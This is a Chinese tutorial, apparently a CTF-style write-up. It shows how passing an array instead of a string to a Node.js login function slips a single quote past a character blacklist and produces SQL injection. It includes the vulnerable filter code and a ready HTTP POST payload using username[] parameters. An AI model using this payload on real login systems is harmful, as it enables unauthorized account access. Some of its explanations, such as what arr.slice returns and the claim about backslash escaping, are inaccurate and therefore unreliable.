JavaScript的 String(字符串) 和 Array(数组)具有一些同名的属性和方法,例如 length、slice()、toString(),而且都可以用 for 循环遍历。
var arr = ['a','b','c']
var str = 'abc'
// length
arr.length // 3
str.length // 3
// slice()
arr.slice(0,2) // a,b 与字符串有些不同,拼接数组元素时会在元素之间插入逗号"," ,相当于 arr.join(',')
str.slice(0,2) // ab
// toString()
arr.toString() // a,b,c 相当于 arr.join(',')
str.toString() // abc
for(var i = 0; i < arr.length; i++){
console.log(arr[i])
}
// abc
for(var i = 0; i < str.length; i++){
console.log(str[i])
}
// abc
toString()是在需要将对象当成字符串输出时执行的方法。
例如:
var arr = ['a','p','p','l','e']
console.log(arr + '') // a,p,p,l,e
利用上述所说的特性绕过下面的过滤函数,并最终形成 SQL 注入:
let safeQuery = (username,password)=>{
const waf = (str)=>{
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
return sql;
}
(1)这里预期的数据类型是 String,如果传入一个字符串,那么被黑名单检测的是字符串的单个字符,这会在黑名单字符包括单引号的前面添加转义字符 \,导致SQL注入失败。
(2)这里用于检测的代码用到的方法和属性都是 String 和 Array,所以如果传入一个非预期的数据类型 Array,并不会导致程序错误,并且被黑名单检测的是数组的元素,而数组的元素既可以是单个字符,也可以是字符串,如果是字符串,例如 "admin' #",判断的条件是 "admin' #" == element,返回 false,也就是无法检测出里面的单引号。所以我们在 username 中传入一个数组,数组的第一个元素是 "admin' #"。
(3)数组最终还是要转换成字符串,否则会因为 username.substr(0,20) 不存在 substr() 而导致程序错误。转换成字符串的地方在于 slice(),通过执行 username.slice() 就能转换成字符串。
最终username为:
["admin' #", '1', '2', '3', '4', '5', '6', '7', '8', '*']
- * 的位置要在下标 5 之后,因为单引号处于 "admin' #" 的第 6 位,而username.slice()之后 for 会继续遍历 "admin' #,1,2,3,4,5,6,7,8,*" 这个字符串,但此时 i>5,所以就不会检测单引号 '。
在HTTP请求体中:
POST /login HTTP/1.1
......
Content-Type: application/x-www-form-urlencoded
......
username[]=admin'+#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=*&password=123456
这需要node.js支持多种数据类型,例如 express:
express.use(express.urlencoded({extended: true}))